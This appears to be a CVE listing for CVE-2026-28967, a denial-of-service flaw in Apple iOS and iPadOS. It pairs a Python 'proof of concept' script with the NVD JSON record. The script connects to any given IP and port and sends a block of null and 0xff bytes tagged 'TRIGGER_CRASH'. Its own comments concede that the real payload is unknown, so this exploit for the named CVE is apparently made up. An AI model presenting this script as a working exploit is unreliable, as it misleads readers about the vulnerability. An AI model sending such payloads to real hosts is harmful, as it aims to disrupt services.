CVE-2026-28967

#!/usr/bin/env python3 # 这是一个概念验证（PoC）脚本，用于模拟可能导致DoS的恶意输入发送。 # 注意：此代码仅用于教育和研究目的，请勿在未经授权的系统上使用。 import socket import sys def send_malicious_packet(target_ip, target_port): try: # Create a socket object client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Set a timeout client.settimeout(10) print(f"[+] Connecting to {target_ip}:{target_port}...") client.connect((target_ip, target_port)) # Simulate crafted malformed input that bypasses weak validation # The specific payload would depend on the vulnerable service's protocol payload = b"\x00" * 10000 + b"\xff" * 10000 + b"TRIGGER_CRASH" print(f"[+] Sending malformed payload...") client.sendall(payload) response = client.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[-] Error occurred: {e}") finally: client.close() if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <target_ip> <target_port>") sys.exit(1) TARGET_IP = sys.argv[1] TARGET_PORT = int(sys.argv[2]) # This simulates the attack vector described: sending input from a privileged network position send_malicious_packet(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-28967", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:57.600", "lastModified": "2026-05-13T14:08:14.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial-of-service issue was addressed with improved input validation. This issue is fixed in iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4. An attacker in a privileged network position may be able to cause a denial-of-service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.7", "matchCriteriaId": "118313FD-8CF6-4412-B1A8-4BC3D5C2F519"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "F201257D-2F7C-43AA-BD51-ED5EC98F99E0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.7", "matchCriteriaId": "684E10EB-D01A-4E80-8764-B48B554B0B5E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "F7F08C35-7A60-4FEC-8D44-533902F43EDD"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126792", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126793", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}